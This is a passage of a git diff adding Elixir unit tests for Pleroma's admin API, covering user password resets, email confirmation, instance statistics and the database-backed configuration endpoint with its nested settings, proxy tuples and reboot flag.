json_response(404) == %{"error" => "Not found"} + end + end + + describe "PATCH /users/:nickname/force_password_reset" do + test "sets password_reset_pending to true", %{conn: conn} do + user = insert(:user) + assert user.password_reset_pending == false + + conn = + patch(conn, "/api/pleroma/admin/users/force_password_reset", %{nicknames: [user.nickname]}) + + assert empty_json_response(conn) == "" + + ObanHelpers.perform_all() + + assert User.get_by_id(user.id).password_reset_pending == true + end + end + + describe "instances" do + test "GET /instances/:instance/statuses", %{conn: conn} do + user = insert(:user, local: false, nickname: "archaeme@archae.me") + user2 = insert(:user, local: false, nickname: "test@test.com") + insert_pair(:note_activity, user: user) + activity = insert(:note_activity, user: user2) + + ret_conn = get(conn, "/api/pleroma/admin/instances/archae.me/statuses") + + response = json_response(ret_conn, 200) + + assert length(response) == 2 + + ret_conn = get(conn, "/api/pleroma/admin/instances/test.com/statuses") + + response = json_response(ret_conn, 200) + + assert length(response) == 1 + + ret_conn = get(conn, "/api/pleroma/admin/instances/nonexistent.com/statuses") + + response = json_response(ret_conn, 200) + + assert Enum.empty?(response) + + CommonAPI.repeat(activity.id, user) + + ret_conn = get(conn, "/api/pleroma/admin/instances/archae.me/statuses") + response = json_response(ret_conn, 200) + assert length(response) == 2 + + ret_conn = get(conn, "/api/pleroma/admin/instances/archae.me/statuses?with_reblogs=true") + response = json_response(ret_conn, 200) + assert length(response) == 3 + end + end + + describe "PATCH /confirm_email" do + test "it confirms emails of two users", %{conn: conn, admin: admin} do + [first_user, second_user] = insert_pair(:user, confirmation_pending: true) + + assert first_user.confirmation_pending == true + assert second_user.confirmation_pending == true + + ret_conn = + patch(conn, "/api/pleroma/admin/users/confirm_email", %{ + nicknames: [ + first_user.nickname, + second_user.nickname + ] + }) + + assert ret_conn.status == 200 + + assert first_user.confirmation_pending == true + assert second_user.confirmation_pending == true + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} confirmed email for users: @#{first_user.nickname}, @#{ + second_user.nickname + }" + end + end + + describe "PATCH /resend_confirmation_email" do + test "it resend emails for two users", %{conn: conn, admin: admin} do + [first_user, second_user] = insert_pair(:user, confirmation_pending: true) + + ret_conn = + patch(conn, "/api/pleroma/admin/users/resend_confirmation_email", %{ + nicknames: [ + first_user.nickname, + second_user.nickname + ] + }) + + assert ret_conn.status == 200 + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} re-sent confirmation email for users: @#{first_user.nickname}, @#{ + second_user.nickname + }" + + ObanHelpers.perform_all() + + Pleroma.Emails.UserEmail.account_confirmation_email(first_user) + # temporary hackney fix until hackney max_connections bug is fixed + # https://git.pleroma.social/pleroma/pleroma/-/issues/2101 + |> Swoosh.Email.put_private(:hackney_options, ssl_options: [versions: [:"tlsv1.2"]]) + |> assert_email_sent() + end + end + + describe "/api/pleroma/admin/stats" do + test "status visibility count", %{conn: conn} do + admin = insert(:user, is_admin: true) + user = insert(:user) + CommonAPI.post(user, %{visibility: "public", status: "hey"}) + CommonAPI.post(user, %{visibility: "unlisted", status: "hey"}) + CommonAPI.post(user, %{visibility: "unlisted", status: "hey"}) + + response = + conn + |> assign(:user, admin) + |> get("/api/pleroma/admin/stats") + |> json_response(200) + + assert %{"direct" => 0, "private" => 0, "public" => 1, "unlisted" => 2} = + response["status_visibility"] + end + + test "by instance", %{conn: conn} do + admin = insert(:user, is_admin: true) + user1 = insert(:user) + instance2 = "instance2.tld" + user2 = insert(:user, %{ap_id: "https://#{instance2}/@actor"}) + + CommonAPI.post(user1, %{visibility: "public", status: "hey"}) + CommonAPI.post(user2, %{visibility: "unlisted", status: "hey"}) + CommonAPI.post(user2, %{visibility: "private", status: "hey"}) + + response = + conn + |> assign(:user, admin) + |> get("/api/pleroma/admin/stats", instance: instance2) + |> json_response(200) + + assert %{"direct" => 0, "private" => 1, "public" => 0, "unlisted" => 1} = + response["status_visibility"] + end + end +end + +# Needed for testing +defmodule Pleroma.Web.Endpoint.NotReal do +end + +defmodule Pleroma.Captcha.NotReal do +end diff --git a/test/pleroma/web/admin_api/controllers/config_controller_test.exs b/test/pleroma/web/admin_api/controllers/config_controller_test.exs new file mode 100644 index 000000000..4e897455f --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/config_controller_test.exs @@ -0,0 +1,1465 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.ConfigControllerTest do + use Pleroma.Web.ConnCase, async: true + + import ExUnit.CaptureLog + import Pleroma.Factory + + alias Pleroma.Config + alias Pleroma.ConfigDB + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "GET /api/pleroma/admin/config" do + setup do: clear_config(:configurable_from_database, true) + + test "when configuration from database is off", %{conn: conn} do + Config.put(:configurable_from_database, false) + conn = get(conn, "/api/pleroma/admin/config") + + assert json_response_and_validate_schema(conn, 400) == + %{ + "error" => "To use this endpoint you need to enable configuration from database." + } + end + + test "with settings only in db", %{conn: conn} do + config1 = insert(:config) + config2 = insert(:config) + + conn = get(conn, "/api/pleroma/admin/config?only_db=true") + + %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => key1, + "value" => _ + }, + %{ + "group" => ":pleroma", + "key" => key2, + "value" => _ + } + ] + } = json_response_and_validate_schema(conn, 200) + + assert key1 == inspect(config1.key) + assert key2 == inspect(config2.key) + end + + test "db is added to settings that are in db", %{conn: conn} do + _config = insert(:config, key: ":instance", value: [name: "Some name"]) + + %{"configs" => configs} = + conn + |> get("/api/pleroma/admin/config") + |> json_response_and_validate_schema(200) + + [instance_config] = + Enum.filter(configs, fn %{"group" => group, "key" => key} -> + group == ":pleroma" and key == ":instance" + end) + + assert instance_config["db"] == [":name"] + end + + test "merged default setting with db settings", %{conn: conn} do + config1 = insert(:config) + config2 = insert(:config) + + config3 = + insert(:config, + value: [k1: :v1, k2: :v2] + ) + + %{"configs" => configs} = + conn + |> get("/api/pleroma/admin/config") + |> json_response_and_validate_schema(200) + + assert length(configs) > 3 + + saved_configs = [config1, config2, config3] + keys = Enum.map(saved_configs, &inspect(&1.key)) + + received_configs = + Enum.filter(configs, fn %{"group" => group, "key" => key} -> + group == ":pleroma" and key in keys + end) + + assert length(received_configs) == 3 + + db_keys = + config3.value + |> Keyword.keys() + |> ConfigDB.to_json_types() + + keys = Enum.map(saved_configs -- [config3], &inspect(&1.key)) + + values = Enum.map(saved_configs, &ConfigDB.to_json_types(&1.value)) + + mapset_keys = MapSet.new(keys ++ db_keys) + + Enum.each(received_configs, fn %{"value" => value, "db" => db} -> + db = MapSet.new(db) + assert MapSet.subset?(db, mapset_keys) + + assert value in values + end) + end + + test "subkeys with full update right merge", %{conn: conn} do + insert(:config, + key: ":emoji", + value: [groups: [a: 1, b: 2], key: [a: 1]] + ) + + insert(:config, + key: ":assets", + value: [mascots: [a: 1, b: 2], key: [a: 1]] + ) + + %{"configs" => configs} = + conn + |> get("/api/pleroma/admin/config") + |> json_response_and_validate_schema(200) + + vals = + Enum.filter(configs, fn %{"group" => group, "key" => key} -> + group == ":pleroma" and key in [":emoji", ":assets"] + end) + + emoji = Enum.find(vals, fn %{"key" => key} -> key == ":emoji" end) + assets = Enum.find(vals, fn %{"key" => key} -> key == ":assets" end) + + emoji_val = ConfigDB.to_elixir_types(emoji["value"]) + assets_val = ConfigDB.to_elixir_types(assets["value"]) + + assert emoji_val[:groups] == [a: 1, b: 2] + assert assets_val[:mascots] == [a: 1, b: 2] + end + + test "with valid `admin_token` query parameter, skips OAuth scopes check" do + clear_config([:admin_token], "password123") + + build_conn() + |> get("/api/pleroma/admin/config?admin_token=password123") + |> json_response_and_validate_schema(200) + end + end + + test "POST /api/pleroma/admin/config error", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{"configs" => []}) + + assert json_response_and_validate_schema(conn, 400) == + %{"error" => "To use this endpoint you need to enable configuration from database."} + end + + describe "POST /api/pleroma/admin/config" do + setup do + http = Application.get_env(:pleroma, :http) + + on_exit(fn -> + Application.delete_env(:pleroma, :key1) + Application.delete_env(:pleroma, :key2) + Application.delete_env(:pleroma, :key3) + Application.delete_env(:pleroma, :key4) + Application.delete_env(:pleroma, :keyaa1) + Application.delete_env(:pleroma, :keyaa2) + Application.delete_env(:pleroma, Pleroma.Web.Endpoint.NotReal) + Application.delete_env(:pleroma, Pleroma.Captcha.NotReal) + Application.put_env(:pleroma, :http, http) + Application.put_env(:tesla, :adapter, Tesla.Mock) + Restarter.Pleroma.refresh() + end) + end + + setup do: clear_config(:configurable_from_database, true) + + @tag capture_log: true + test "create new config setting in db", %{conn: conn} do + ueberauth = Application.get_env(:ueberauth, Ueberauth) + on_exit(fn -> Application.put_env(:ueberauth, Ueberauth, ueberauth) end) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{group: ":pleroma", key: ":key1", value: "value1"}, + %{ + group: ":ueberauth", + key: "Ueberauth", + value: [%{"tuple" => [":consumer_secret", "aaaa"]}] + }, + %{ + group: ":pleroma", + key: ":key2", + value: %{ + ":nested_1" => "nested_value1", + ":nested_2" => [ + %{":nested_22" => "nested_value222"}, + %{":nested_33" => %{":nested_44" => "nested_444"}} + ] + } + }, + %{ + group: ":pleroma", + key: ":key3", + value: [ + %{"nested_3" => ":nested_3", "nested_33" => "nested_33"}, + %{"nested_4" => true} + ] + }, + %{ + group: ":pleroma", + key: ":key4", + value: %{":nested_5" => ":upload", "endpoint" => "https://example.com"} + }, + %{ + group: ":idna", + key: ":key5", + value: %{"tuple" => ["string", "Pleroma.Captcha.NotReal", []]} + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => "value1", + "db" => [":key1"] + }, + %{ + "group" => ":ueberauth", + "key" => "Ueberauth", + "value" => [%{"tuple" => [":consumer_secret", "aaaa"]}], + "db" => [":consumer_secret"] + }, + %{ + "group" => ":pleroma", + "key" => ":key2", + "value" => %{ + ":nested_1" => "nested_value1", + ":nested_2" => [ + %{":nested_22" => "nested_value222"}, + %{":nested_33" => %{":nested_44" => "nested_444"}} + ] + }, + "db" => [":key2"] + }, + %{ + "group" => ":pleroma", + "key" => ":key3", + "value" => [ + %{"nested_3" => ":nested_3", "nested_33" => "nested_33"}, + %{"nested_4" => true} + ], + "db" => [":key3"] + }, + %{ + "group" => ":pleroma", + "key" => ":key4", + "value" => %{"endpoint" => "https://example.com", ":nested_5" => ":upload"}, + "db" => [":key4"] + }, + %{ + "group" => ":idna", + "key" => ":key5", + "value" => %{"tuple" => ["string", "Pleroma.Captcha.NotReal", []]}, + "db" => [":key5"] + } + ], + "need_reboot" => false + } + + assert Application.get_env(:pleroma, :key1) == "value1" + + assert Application.get_env(:pleroma, :key2) == %{ + nested_1: "nested_value1", + nested_2: [ + %{nested_22: "nested_value222"}, + %{nested_33: %{nested_44: "nested_444"}} + ] + } + + assert Application.get_env(:pleroma, :key3) == [ + %{"nested_3" => :nested_3, "nested_33" => "nested_33"}, + %{"nested_4" => true} + ] + + assert Application.get_env(:pleroma, :key4) == %{ + "endpoint" => "https://example.com", + nested_5: :upload + } + + assert Application.get_env(:idna, :key5) == {"string", Pleroma.Captcha.NotReal, []} + end + + test "save configs setting without explicit key", %{conn: conn} do + level = Application.get_env(:quack, :level) + meta = Application.get_env(:quack, :meta) + webhook_url = Application.get_env(:quack, :webhook_url) + + on_exit(fn -> + Application.put_env(:quack, :level, level) + Application.put_env(:quack, :meta, meta) + Application.put_env(:quack, :webhook_url, webhook_url) + end) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + group: ":quack", + key: ":level", + value: ":info" + }, + %{ + group: ":quack", + key: ":meta", + value: [":none"] + }, + %{ + group: ":quack", + key: ":webhook_url", + value: "https://hooks.slack.com/services/KEY" + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":quack", + "key" => ":level", + "value" => ":info", + "db" => [":level"] + }, + %{ + "group" => ":quack", + "key" => ":meta", + "value" => [":none"], + "db" => [":meta"] + }, + %{ + "group" => ":quack", + "key" => ":webhook_url", + "value" => "https://hooks.slack.com/services/KEY", + "db" => [":webhook_url"] + } + ], + "need_reboot" => false + } + + assert Application.get_env(:quack, :level) == :info + assert Application.get_env(:quack, :meta) == [:none] + assert Application.get_env(:quack, :webhook_url) == "https://hooks.slack.com/services/KEY" + end + + test "saving config with partial update", %{conn: conn} do + insert(:config, key: ":key1", value: :erlang.term_to_binary(key1: 1, key2: 2)) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{group: ":pleroma", key: ":key1", value: [%{"tuple" => [":key3", 3]}]} + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => [ + %{"tuple" => [":key1", 1]}, + %{"tuple" => [":key2", 2]}, + %{"tuple" => [":key3", 3]} + ], + "db" => [":key1", ":key2", ":key3"] + } + ], + "need_reboot" => false + } + end + + test "saving config which need pleroma reboot", %{conn: conn} do + chat = Config.get(:chat) + on_exit(fn -> Config.put(:chat, chat) end) + + assert conn + |> put_req_header("content-type", "application/json") + |> post( + "/api/pleroma/admin/config", + %{ + configs: [ + %{group: ":pleroma", key: ":chat", value: [%{"tuple" => [":enabled", true]}]} + ] + } + ) + |> json_response_and_validate_schema(200) == %{ + "configs" => [ + %{ + "db" => [":enabled"], + "group" => ":pleroma", + "key" => ":chat", + "value" => [%{"tuple" => [":enabled", true]}] + } + ], + "need_reboot" => true + } + + configs = + conn + |> get("/api/pleroma/admin/config") + |> json_response_and_validate_schema(200) + + assert configs["need_reboot"] + + capture_log(fn -> + assert conn |> get("/api/pleroma/admin/restart") |> json_response(200) == + %{} + end) =~ "pleroma restarted" + + configs = + conn + |> get("/api/pleroma/admin/config") + |> json_response_and_validate_schema(200) + + assert configs["need_reboot"] == false + end + + test "update setting which need reboot, don't change reboot flag until reboot", %{conn: conn} do + chat = Config.get(:chat) + on_exit(fn -> Config.put(:chat, chat) end) + + assert conn + |> put_req_header("content-type", "application/json") + |> post( + "/api/pleroma/admin/config", + %{ + configs: [ + %{group: ":pleroma", key: ":chat", value: [%{"tuple" => [":enabled", true]}]} + ] + } + ) + |> json_response_and_validate_schema(200) == %{ + "configs" => [ + %{ + "db" => [":enabled"], + "group" => ":pleroma", + "key" => ":chat", + "value" => [%{"tuple" => [":enabled", true]}] + } + ], + "need_reboot" => true + } + + assert conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{group: ":pleroma", key: ":key1", value: [%{"tuple" => [":key3", 3]}]} + ] + }) + |> json_response_and_validate_schema(200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => [ + %{"tuple" => [":key3", 3]} + ], + "db" => [":key3"] + } + ], + "need_reboot" => true + } + + capture_log(fn -> + assert conn |> get("/api/pleroma/admin/restart") |> json_response(200) == + %{} + end) =~ "pleroma restarted" + + configs = + conn + |> get("/api/pleroma/admin/config") + |> json_response_and_validate_schema(200) + + assert configs["need_reboot"] == false + end + + test "saving config with nested merge", %{conn: conn} do + insert(:config, key: :key1, value: [key1: 1, key2: [k1: 1, k2: 2]]) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + group: ":pleroma", + key: ":key1", + value: [ + %{"tuple" => [":key3", 3]}, + %{ + "tuple" => [ + ":key2", + [ + %{"tuple" => [":k2", 1]}, + %{"tuple" => [":k3", 3]} + ] + ] + } + ] + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => [ + %{"tuple" => [":key1", 1]}, + %{"tuple" => [":key3", 3]}, + %{ + "tuple" => [ + ":key2", + [ + %{"tuple" => [":k1", 1]}, + %{"tuple" => [":k2", 1]}, + %{"tuple" => [":k3", 3]} + ] + ] + } + ], + "db" => [":key1", ":key3", ":key2"] + } + ], + "need_reboot" => false + } + end + + test "saving special atoms", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => [ + %{ + "tuple" => [ + ":ssl_options", + [%{"tuple" => [":versions", [":tlsv1", ":tlsv1.1", ":tlsv1.2"]]}] + ] + } + ] + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => [ + %{ + "tuple" => [ + ":ssl_options", + [%{"tuple" => [":versions", [":tlsv1", ":tlsv1.1", ":tlsv1.2"]]}] + ] + } + ], + "db" => [":ssl_options"] + } + ], + "need_reboot" => false + } + + assert Application.get_env(:pleroma, :key1) == [ + ssl_options: [versions: [:tlsv1, :"tlsv1.1", :"tlsv1.2"]] + ] + end + + test "saving full setting if value is in full_key_update list", %{conn: conn} do + backends = Application.get_env(:logger, :backends) + on_exit(fn -> Application.put_env(:logger, :backends, backends) end) + + insert(:config, + group: :logger, + key: :backends, + value: [] + ) + + Pleroma.Config.TransferTask.load_and_update_env([], false) + + assert Application.get_env(:logger, :backends) == [] + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + group: ":logger", + key: ":backends", + value: [":console"] + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":logger", + "key" => ":backends", + "value" => [ + ":console" + ], + "db" => [":backends"] + } + ], + "need_reboot" => false + } + + assert Application.get_env(:logger, :backends) == [ + :console + ] + end + + test "saving full setting if value is not keyword", %{conn: conn} do + insert(:config, + group: :tesla, + key: :adapter, + value: Tesla.Adapter.Hackey + ) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{group: ":tesla", key: ":adapter", value: "Tesla.Adapter.Httpc"} + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":tesla", + "key" => ":adapter", + "value" => "Tesla.Adapter.Httpc", + "db" => [":adapter"] + } + ], + "need_reboot" => false + } + end + + test "update config setting & delete with fallback to default value", %{ + conn: conn, + admin: admin, + token: token + } do + ueberauth = Application.get_env(:ueberauth, Ueberauth) + insert(:config, key: :keyaa1) + insert(:config, key: :keyaa2) + + config3 = + insert(:config, + group: :ueberauth, + key: Ueberauth + ) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{group: ":pleroma", key: ":keyaa1", value: "another_value"}, + %{group: ":pleroma", key: ":keyaa2", value: "another_value"} + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":keyaa1", + "value" => "another_value", + "db" => [":keyaa1"] + }, + %{ + "group" => ":pleroma", + "key" => ":keyaa2", + "value" => "another_value", + "db" => [":keyaa2"] + } + ], + "need_reboot" => false + } + + assert Application.get_env(:pleroma, :keyaa1) == "another_value" + assert Application.get_env(:pleroma, :keyaa2) == "another_value" + assert Application.get_env(:ueberauth, Ueberauth) == config3.value + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{group: ":pleroma", key: ":keyaa2", delete: true}, + %{ + group: ":ueberauth", + key: "Ueberauth", + delete: true + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [], + "need_reboot" => false + } + + assert Application.get_env(:ueberauth, Ueberauth) == ueberauth + refute Keyword.has_key?(Application.get_all_env(:pleroma), :keyaa2) + end + + test "common config example", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + "group" => ":pleroma", + "key" => "Pleroma.Captcha.NotReal", + "value" => [ + %{"tuple" => [":enabled", false]}, + %{"tuple" => [":method", "Pleroma.Captcha.Kocaptcha"]}, + %{"tuple" => [":seconds_valid", 60]}, + %{"tuple" => [":path", ""]}, + %{"tuple" => [":key1", nil]}, + %{"tuple" => [":partial_chain", "&:hackney_connect.partial_chain/1"]}, + %{"tuple" => [":regex1", "~r/https:\/\/example.com/"]}, + %{"tuple" => [":regex2", "~r/https:\/\/example.com/u"]}, + %{"tuple" => [":regex3", "~r/https:\/\/example.com/i"]}, + %{"tuple" => [":regex4", "~r/https:\/\/example.com/s"]}, + %{"tuple" => [":name", "Pleroma"]} + ] + } + ] + }) + + assert Config.get([Pleroma.Captcha.NotReal, :name]) == "Pleroma" + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => "Pleroma.Captcha.NotReal", + "value" => [ + %{"tuple" => [":enabled", false]}, + %{"tuple" => [":method", "Pleroma.Captcha.Kocaptcha"]}, + %{"tuple" => [":seconds_valid", 60]}, + %{"tuple" => [":path", ""]}, + %{"tuple" => [":key1", nil]}, + %{"tuple" => [":partial_chain", "&:hackney_connect.partial_chain/1"]}, + %{"tuple" => [":regex1", "~r/https:\\/\\/example.com/"]}, + %{"tuple" => [":regex2", "~r/https:\\/\\/example.com/u"]}, + %{"tuple" => [":regex3", "~r/https:\\/\\/example.com/i"]}, + %{"tuple" => [":regex4", "~r/https:\\/\\/example.com/s"]}, + %{"tuple" => [":name", "Pleroma"]} + ], + "db" => [ + ":enabled", + ":method", + ":seconds_valid", + ":path", + ":key1", + ":partial_chain", + ":regex1", + ":regex2", + ":regex3", + ":regex4", + ":name" + ] + } + ], + "need_reboot" => false + } + end + + test "tuples with more than two values", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + "group" => ":pleroma", + "key" => "Pleroma.Web.Endpoint.NotReal", + "value" => [ + %{ + "tuple" => [ + ":http", + [ + %{ + "tuple" => [ + ":key2", + [ + %{ + "tuple" => [ + ":_", + [ + %{ + "tuple" => [ + "/api/v1/streaming", + "Pleroma.Web.MastodonAPI.WebsocketHandler", + [] + ] + }, + %{ + "tuple" => [ + "/websocket", + "Phoenix.Endpoint.CowboyWebSocket", + %{ + "tuple" => [ + "Phoenix.Transports.WebSocket", + %{ + "tuple" => [ + "Pleroma.Web.Endpoint", + "Pleroma.Web.UserSocket", + [] + ] + } + ] + } + ] + }, + %{ + "tuple" => [ + ":_", + "Phoenix.Endpoint.Cowboy2Handler", + %{"tuple" => ["Pleroma.Web.Endpoint", []]} + ] + } + ] + ] + } + ] + ] + } + ] + ] + } + ] + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => "Pleroma.Web.Endpoint.NotReal", + "value" => [ + %{ + "tuple" => [ + ":http", + [ + %{ + "tuple" => [ + ":key2", + [ + %{ + "tuple" => [ + ":_", + [ + %{ + "tuple" => [ + "/api/v1/streaming", + "Pleroma.Web.MastodonAPI.WebsocketHandler", + [] + ] + }, + %{ + "tuple" => [ + "/websocket", + "Phoenix.Endpoint.CowboyWebSocket", + %{ + "tuple" => [ + "Phoenix.Transports.WebSocket", + %{ + "tuple" => [ + "Pleroma.Web.Endpoint", + "Pleroma.Web.UserSocket", + [] + ] + } + ] + } + ] + }, + %{ + "tuple" => [ + ":_", + "Phoenix.Endpoint.Cowboy2Handler", + %{"tuple" => ["Pleroma.Web.Endpoint", []]} + ] + } + ] + ] + } + ] + ] + } + ] + ] + } + ], + "db" => [":http"] + } + ], + "need_reboot" => false + } + end + + test "settings with nesting map", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => [ + %{"tuple" => [":key2", "some_val"]}, + %{ + "tuple" => [ + ":key3", + %{ + ":max_options" => 20, + ":max_option_chars" => 200, + ":min_expiration" => 0, + ":max_expiration" => 31_536_000, + "nested" => %{ + ":max_options" => 20, + ":max_option_chars" => 200, + ":min_expiration" => 0, + ":max_expiration" => 31_536_000 + } + } + ] + } + ] + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == + %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => [ + %{"tuple" => [":key2", "some_val"]}, + %{ + "tuple" => [ + ":key3", + %{ + ":max_expiration" => 31_536_000, + ":max_option_chars" => 200, + ":max_options" => 20, + ":min_expiration" => 0, + "nested" => %{ + ":max_expiration" => 31_536_000, + ":max_option_chars" => 200, + ":max_options" => 20, + ":min_expiration" => 0 + } + } + ] + } + ], + "db" => [":key2", ":key3"] + } + ], + "need_reboot" => false + } + end + + test "value as map", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => %{"key" => "some_val"} + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == + %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":key1", + "value" => %{"key" => "some_val"}, + "db" => [":key1"] + } + ], + "need_reboot" => false + } + end + + test "queues key as atom", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + "group" => ":oban", + "key" => ":queues", + "value" => [ + %{"tuple" => [":federator_incoming", 50]}, + %{"tuple" => [":federator_outgoing", 50]}, + %{"tuple" => [":web_push", 50]}, + %{"tuple" => [":mailer", 10]}, + %{"tuple" => [":transmogrifier", 20]}, + %{"tuple" => [":scheduled_activities", 10]}, + %{"tuple" => [":background", 5]} + ] + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":oban", + "key" => ":queues", + "value" => [ + %{"tuple" => [":federator_incoming", 50]}, + %{"tuple" => [":federator_outgoing", 50]}, + %{"tuple" => [":web_push", 50]}, + %{"tuple" => [":mailer", 10]}, + %{"tuple" => [":transmogrifier", 20]}, + %{"tuple" => [":scheduled_activities", 10]}, + %{"tuple" => [":background", 5]} + ], + "db" => [ + ":federator_incoming", + ":federator_outgoing", + ":web_push", + ":mailer", + ":transmogrifier", + ":scheduled_activities", + ":background" + ] + } + ], + "need_reboot" => false + } + end + + test "delete part of settings by atom subkeys", %{conn: conn} do + insert(:config, + key: :keyaa1, + value: [subkey1: "val1", subkey2: "val2", subkey3: "val3"] + ) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + group: ":pleroma", + key: ":keyaa1", + subkeys: [":subkey1", ":subkey3"], + delete: true + } + ] + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":keyaa1", + "value" => [%{"tuple" => [":subkey2", "val2"]}], + "db" => [":subkey2"] + } + ], + "need_reboot" => false + } + end + + test "proxy tuple localhost", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + group: ":pleroma", + key: ":http", + value: [ + %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "localhost", 1234]}]} + ] + } + ] + }) + + assert %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":http", + "value" => value, + "db" => db + } + ] + } = json_response_and_validate_schema(conn, 200) + + assert %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "localhost", 1234]}]} in value + assert ":proxy_url" in db + end + + test "proxy tuple domain", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + group: ":pleroma", + key: ":http", + value: [ + %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "domain.com", 1234]}]} + ] + } + ] + }) + + assert %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":http", + "value" => value, + "db" => db + } + ] + } = json_response_and_validate_schema(conn, 200) + + assert %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "domain.com", 1234]}]} in value + assert ":proxy_url" in db + end + + test "proxy tuple ip", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + group: ":pleroma", + key: ":http", + value: [ + %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "127.0.0.1", 1234]}]} + ] + } + ] + }) + + assert %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => ":http", + "value" => value, + "db" => db + } + ] + } = json_response_and_validate_schema(conn, 200) + + assert %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "127.0.0.1", 1234]}]} in value + assert ":proxy_url" in db + end + + @tag capture_log: true + test "doesn't set keys not in the whitelist", %{conn: conn} do + clear_config(:database_config_whitelist, [ + {:pleroma, :key1}, + {:pleroma, :key2}, + {:pleroma, Pleroma.Captcha.NotReal}, + {:not_real} + ]) + + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{group: ":pleroma", key: ":key1", value: "value1"}, + %{group: ":pleroma", key: ":key2", value: "value2"}, + %{group: ":pleroma", key: ":key3", value: "value3"}, + %{group: ":pleroma", key: 